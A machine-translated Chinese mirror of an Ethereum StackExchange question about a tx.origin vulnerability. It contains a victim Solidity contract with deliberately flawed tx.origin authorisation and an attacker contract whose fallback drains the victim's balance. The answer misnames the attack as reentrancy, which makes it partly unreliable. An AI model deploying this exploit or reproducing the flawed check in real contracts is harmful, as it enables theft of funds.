首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >TxOriginVictim(msg.sender) .transferTo(所有者,msg.sender.balance):接口的目的是什么?TxOriginVictim(msg.sender)是什么?

TxOriginVictim(msg.sender) .transferTo(所有者,msg.sender.balance):接口的目的是什么?TxOriginVictim(msg.sender)是什么?
EN

Ethereum用户
提问于 2021-04-04 04:42:40
回答 1查看 118关注 0票数 0

在tx.origin漏洞的上下文中,我有两个契约:

代码语言:javascript
复制
pragma solidity ^0.5.8;
contract TxOriginVictim {
   address owner;
   constructor() public{  
      owner = msg.sender;
   }
   function transferTo(address to, uint amount) public {  
      require(tx.origin == owner);  
      (bool success,) = to.call.value(amount)("");
      require(success);
   }
   function() external payable  {}
}

攻击者的合同是:

==

代码语言:javascript
复制
pragma solidity ^0.5.8;
interface TxOriginVictim {  
   function transferTo(address to, uint amount) external;
}

contract TxOriginAttacker {
   address owner;
   constructor () public {  owner = msg.sender;}
   function getOwner() public returns (address) {  return owner;}
   function() external payable  {  
      TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
   }
}

在TxOriginAttacker合同中,我无法理解TxOriginVictim接口的用途。声明中的TxOriginVictim(msg.sender)是什么:TxOriginVictim(msg.sender).transferTo(所有者,msg.sender.balance);

请引导我。

祖尔菲。

EN

回答 1

Ethereum用户

回答已采纳

发布于 2021-04-04 06:32:26

接口允许契约在不知道实现的情况下调用另一个协议。

代码TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance)正在做类似的事情。

代码语言:javascript
复制
TxOriginVictim victim = TxOriginVictim(msg.sender);
victim.transferTo(owner, msg.sender.balance);

攻击者假定msg.senderTxOriginVictim契约的一个实例,并试图调用transferTo函数。一种重入攻击。

由于受害者只检查tx.origin,所以允许攻击者调用transferTo

票数 1
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/96672

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档